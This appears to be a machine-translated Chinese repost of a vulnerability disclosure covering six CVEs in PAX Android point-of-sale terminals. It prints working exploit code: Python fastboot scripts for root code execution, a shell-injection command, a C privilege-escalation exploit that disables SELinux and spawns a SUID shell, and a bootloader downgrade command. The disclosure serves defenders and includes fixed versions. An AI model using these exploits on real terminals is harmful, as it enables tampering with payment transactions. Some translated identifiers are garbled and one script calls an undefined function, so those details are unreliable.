世界各地的银行公司终于从定制的销售点 (POS) 设备转向广泛采用和经过实战考验的 Android 操作系统。不再有晦涩难懂的终端;巨型彩色触摸屏的时代已经到来!虽然 Android 是一个安全、强化的操作系统,但实现您自己的功能并将其与自定义硬件集成需要大量的时间和精力。
STM Cyber R&D 团队决定对全球知名公司 PAX Technology 制造的 POS 设备进行逆向工程,因为它们正在波兰快速部署。在本文中,我们介绍了 6 个漏洞的技术细节,这些漏洞被分配了 CVE。
由于 Android 操作系统(PAX 设备上存在的 PaxDroid 系统的基础)中存在大量应用程序沙盒,因此应用程序无法相互干扰。尽管如此,某些应用程序仍需要更高的权限来控制设备的某些部分,因此它们以更高权限的用户身份运行。但是,如果攻击者可以将其权限升级到根帐户,他们可以篡改任何应用程序,包括支付操作的某些部分。虽然攻击者仍然无法访问有关收款人的解密信息(如信用卡信息),但由于这些信息是在单独的安全处理器 (SP) 中处理的,因此他们可以修改商家应用程序发送到 SP 的数据,其中包括交易金额。获取对其他高特权帐户的访问权限,例如系统,也很有价值,因为它使攻击面达到根帐户要大得多。
在寻找漏洞时,STM Cyber 重点关注了 2 个攻击媒介:
-
从引导加载程序执行本地代码,除了访问设备的 USB 端口外,不需要任何权限。虽然这需要对设备进行物理访问,但由于 POS 设备的性质,这仍然是一个有趣的攻击媒介。由于不同的 PAX POS 使用不同的 CPU 供应商,因此它们也使用不同的引导加载程序。我们在测试 PAX A920 时发现了 CVE-2023-4818,而 A920Pro 和 A50 容易受到 CVE-2023-42134 和 CVE-2023-42135 的攻击。
-
权限提升至系统用户。此类漏洞存在于 PaxDroid 系统本身中,因此它们几乎存在于所有基于 Android 的 PAX POS 设备中。CVE-2023-42136 允许将权限从任何用户提升到
-
系统账户大大增加了攻击面。
CVE-2023-42133 - 已保留
CVE-2023-42134 - 在 fastboot 中通过内核参数注入以 root 身份执行本地代码
-
产品:PAX A920Pro/PAX A50
-
CVSS 分数:CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
-
影响:本地代码执行为根
-
已知易受攻击的版本:PayDroid 8.1.0_Sagittarius_11.1.50_20230314
-
修复验证于:PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
-
CERT.PL 参考:https://cert.pl/en/posts/2024/01/CVE-2023-4818/
通过执行隐藏的OEM PaxAssert命令,可以覆盖未签名的乘客1分区。这会导致注入内核参数,从而导致任意代码执行。Fastboot 刷机处理函数首先检查我们是否正在尝试刷写一个特殊的分区:
如果提供的分区名称是“乘客1”和“pax断言”,将应用配置:
下面附上了一个 PoC 脚本,它将内核参数注入与从 fastboot 缓冲区执行的自定义 rootfs 链接起来(此处深入解释了该技术)。
from pathlib import Path
import sys
import tempfile
from contextlib import contextmanager
from usb1 import USBContext, USBError, USBDeviceHandle
# these 4 values may need to be changed on per-product basis:
PAX_VID = 0x2fb8
PAX_PID = 0x2240
ep_in = 0x85
ep_out = 0x06
# we assume this will be used only after open_fastboot
g_handle: USBDeviceHandle = None # type: ignore
def send(bytez: bytes) -> None:
print(f"Sending {len(bytez)} {bytez[:0x18]}...")
g_handle.bulkWrite(ep_out, bytez)
def recv(count: int = 512) -> bytes:
data = g_handle.bulkRead(ep_in, count)
print("Got status", data)
return data
def cmd(data: bytes) -> bytes:
send(data)
return recv()
def check_status(expected, received):
if received != expected:
raise RuntimeError(f"Expected status {expected}, got, {received}")
def open_fastboot(*args, **kwargs):
with USBContext() as ctx:
device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)
if device is None:
print("Device not found")
exit(1)
try:
global g_handle
g_handle = device.open()
except USBError:
print("Failed to open USB device")
exit(1)
with g_handle.claimInterface(0):
yield
def upload_image(path: Path) -> None:
total_size = path.stat().st_size
send(f"download:{total_size:08x}".encode())
response = recv()
check_status(b"DATA", response[:4])
with open(path, "rb") as file:
while True:
data = file.read(512)
if not data:
break
send(data)
response = recv()
check_status(b"OKAY", response)
def flash(partition_name: str) -> None:
check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))
def upload_data(bytez: bytes) -> None:
# yes, I know this could be done better but I'm too lazy
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(bytez)
tmp.flush()
upload_image(Path(tmp.name))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("invalid number of parameters, please provide image")
sys.exit(1)
initrd_image = Path(sys.argv[1])
initrd_size = initrd_image.stat().st_size
with open_fastboot():
print("enabling paxassert")
upload_data(b"yesx00")
check_status(cmd(b"oem paxassert"), b"OKAY")
print("pushing pax1 partition")
upload_data(f'LOCALE="pl-PL initrd=0x82000000,{initrd_size}"'.encode())
print("flashing pax1")
flash("pax1")
print("pushing initrd")
upload_image(initrd_image)
check_status(b"OKAY", cmd(b"continue"))
CVE-2023-42135 - 在 fastboot 中通过内核参数注入以 root 身份执行本地代码
-
产品:PAX A920Pro/PAX A50
-
CVSS 分数:CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
-
影响:本地代码执行为根
-
已知易受攻击版本:PayDroid 8.1.0_Sagittarius_11.1.50_20230614
-
修复验证于:PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
-
CERT.PL 参考:https://cert.pl/en/posts/2024/01/CVE-2023-4818/
名为EXSN公司连接到内核参数列表。通过闪烁这个EXSN公司分区,可以注入任意内核参数,导致任意代码执行。
Fastboot烧录处理函数,首先检查我们是否正在尝试烧录一个特殊的分区:
的值“EXSN公司”被传入内核。因为“EXSN公司”可以更改为任何值,包括带空格的值,可以注入任何内核参数。
下面附上 PoC 脚本,该脚本将内核参数注入与从 fastboot 缓冲区执行的自定义 initroot 链接起来(此处深入解释了该技术)。
from pathlib import Path
import sys
import tempfile
from contextlib import contextmanager
from usb1 import USBContext, USBError, USBDeviceHandle
# these 4 values may need to be changed on per-product basis:
PAX_VID = 0x2fb8
PAX_PID = 0x2240
ep_in = 0x85
ep_out = 0x06
# we assume this will be used only after open_fastboot
g_handle: USBDeviceHandle = None # type: ignore
def send(bytez: bytes) -> None:
print(f"Sending {len(bytez)} {bytez[:0x18]}...")
g_handle.bulkWrite(ep_out, bytez)
def recv(count: int = 512) -> bytes:
data = g_handle.bulkRead(ep_in, count)
print("Got status", data)
return data
def cmd(data: bytes) -> bytes:
send(data)
return recv()
def check_status(expected, received):
if received != expected:
raise RuntimeError(f"Expected status {expected}, got, {received}")
def open_fastboot(*args, **kwargs):
with USBContext() as ctx:
device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)
if device is None:
print("Device not found")
exit(1)
try:
global g_handle
g_handle = device.open()
except USBError:
print("Failed to open USB device")
exit(1)
with g_handle.claimInterface(0):
yield
def upload_image(path: Path) -> None:
total_size = path.stat().st_size
send(f"download:{total_size:08x}".encode())
response = recv()
check_status(b"DATA", response[:4])
with open(path, "rb") as file:
while True:
data = file.read(512)
if not data:
break
send(data)
response = recv()
check_status(b"OKAY", response)
def flash(partition_name: str) -> None:
check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))
def upload_data(bytez: bytes) -> None:
# yes, I know this could be done better but I'm too lazy
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(bytez)
tmp.flush()
upload_image(Path(tmp.name))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("invalid number of parameters, please provide image")
sys.exit(1)
initrd_image = Path(sys.argv[1])
initrd_size = initrd_image.stat().st_size
with open_fastboot():
exsn = get_exsn()
initrd_size = initrd_image.stat().st_size
exsn_data = exsn + b" initrd=0x82000000," + str(int(initrd_size)).encode()
print("exsn_data:", exsn_data)
print("pushing exsn")
upload_data(exsn_data)
print("flashing exsn")
flash("exsn")
print("pushing initrd")
upload_image(initrd_image)
check_status(b"OKAY", cmd(b"continue"))
CVE-2023-42136 - 通过 shell 注入 binder 暴露的服务从任何用户/应用程序向系统用户提升权限
-
产品:所有基于 Android 的 PAX POS 设备
-
CVSS 分数:CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
-
影响:权限从任何用户/应用程序提升到系统用户
-
已知易受攻击的版本:PayDroid 11.1.50_20230614
-
修复验证于:PayDroid V02.9.99T9_20230919
-
CERT.PL 参考:https://cert.pl/en/posts/2024/01/CVE-2023-4818/
名为 Android 的服务“PaxSmartDevice”服务(错别字)容易受到 shell 注入的影响,从而将任何用户升级到“系统”帐户。当它检查命令是否以“转储系统”,可以通过传入轻松绕过此检查“转储系统;命令”作为论据。
adb shell “服务调用 PaxSmartDeviceServcie 16 s16 'dumpsysx;ID > /data/local/tmp/win'”
CVE-2023-42137 - 通过守护程序中的不安全操作将权限从系统/shell 用户提升到 root systool_server
-
产品:所有基于 Android 的 PAX POS 设备
-
CVSS 分数:CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
-
影响:权限升级来自系统/壳user 设置为根用户
-
已知易受攻击的版本:PayDroid 11.1.50_20230614
-
修复验证于:PayDroid V02.9.99T9_20230919
-
CERT.PL 参考:https://cert.pl/en/posts/2024/01/CVE-2023-4818/systool_server
是通过以 root 权限运行的 binder 公开的守护程序。它公开了一个 API,用于执行米尼恩兹带有用户控制器输入和输出目录的命令。攻击者可以注入任意数量的参数,包括其他命令标志。此外,鉴于攻击者可以控制源目录和目标目录(),他们可以通过在/tmp/tmp目录。这允许攻击者覆盖任意文件,从而可能导致权限升级。通过覆盖/数据分区,攻击者可以利用此漏洞冒充系统用户,从而劫持以系统级权限运行的应用程序。
systool_server执行多项检查以验证调用方 uid 和二进制文件,以确保只有经过验证的二进制文件使用此 API。这些检查可以使用良好的旧检查来绕过LD_PRELOAD.最后,为了弹出一个完全交互式的 shell,我们使用 mount without诺苏伊德以创建 SUID 二进制文件。有关 PoC,请参阅以下代码:
struct binder_state *g_binder_state;
uint32_t target;
int binder_init() {
struct binder_state* bs;
bs = binder_open(128*1024);
if (!bs) {
fprintf(stderr, "failed to open binder drivern");
return -1;
}
char b[0x200];
struct binder_io a;
struct binder_io c;
bio_init(&a, &b, 0x200, 4);
bio_put_uint32(&a, 0);
bio_put_string16_x(&a, "android.os.IServiceManager");
bio_put_string16_x(&a, "systool_binder");
int status = binder_call(bs, &a, &c, 0, 2);
if (status == 0) {
int status2 = bio_get_ref(&c);
if (status2 != 0) {
target = status2;
binder_acquire(bs, status2);
}
binder_done(bs, &a, &c);
}
g_binder_state = bs;
return 0;
}
void systoolExecShellCmdV2(char* src) {
struct binder_io msg;
struct binder_io reply;
char buf[0x200];
bio_init(&msg, buf, 0x200, 4);
bio_put_uint32(&msg, 0);
bio_put_string16_x(&msg, "SystoolBinder");
bio_put_uint32(&msg, 3); // cmd
bio_put_uint32(&msg, 1); // subcmd
bio_put_uint32(&msg, 1); // num arguments
bio_put_string16_x(&msg, src);
int status = binder_call(g_binder_state, &msg, &reply, target, 18);
if (status == 0) {
int ret1 = bio_get_uint32(&reply);
int ret2 = bio_get_uint32(&reply);
binder_done(g_binder_state, &msg, &reply);
printf("ExecShellCmdV2: ret1=%d ret2=%dn", ret1, ret2);
}
}
int executed = 0;
int printf(const char* __fmt, ...) {
if (executed)
return 0;
executed = 1;
pid_t pid = getpid();
fprintf(stderr, "[*] Hello from PID %dn", pid);
char linkbuf[0x100];
readlink("/proc/self/exe", linkbuf, 0x100);
fprintf(stderr, "[*] /proc/self/exe is pointing at %sn", linkbuf);
binder_init();
// prep
system("rm /tmp/monitor.bin");
fprintf(stderr, "[*] disabling fs selinuxn");
system("ln -s /sys/fs/selinux/enforce /tmp/monitor.bin");
system("echo -n '0' > /data/local/tmp/zero");
systoolExecShellCmdV2("/data/local/tmp/zero");
// cleanup
system("rm /data/local/tmp/zero");
system("rm /tmp/monitor.bin");
fprintf(stderr, "[*] setting up suidn");
system("chmod +s /data/local/tmp/escalate");
fprintf(stderr, "[*] copying suid to /mntn");
system("ln -s /mnt/escalate /tmp/monitor.bin");
systoolExecShellCmdV2("/data/local/tmp/escalate");
// cleanup
system("rm /tmp/monitor.bin");
fprintf(stderr, "[*] spawning shelln");
execve("/mnt/escalate", NULL, NULL);
return 0;
}
CVE-2023-4818 - 引导加载程序通过不正确的令牌化降级
-
产品:PAX A920
-
CVSS 分数:CVSS 7.3 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
-
影响:引导加载程序可降级到易受攻击的版本,从而导致本地代码执行为根
-
已知易受攻击的版本:PayDroid 7.1.2_Aquarius_11.1.50_20230614
-
修复验证于:PayDroid 7.1.2_Aquarius_V02.9.99T9_20230919
-
CERT.PL 参考:https://cert.pl/en/posts/2024/01/CVE-2023-4818/
通过切换到快速启动模式并刷新一个名为aboot:,则可以将引导加载程序降级到以前易受攻击的签名版本(跳过版本检查)。
我们跳过签名和版本检查,因为aboot:与任何已知的分区名称都不匹配:
然后,将提供的名称用:- 最终只剩下aboot的.这样,我们可以绕过版本检查并降级引导加载程序。
fastboot flash 'aboot:' aboot.img
原文始发于微信公众号(HackSee):PAX Technology在基于 Android 的 POS 终端机中发现的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论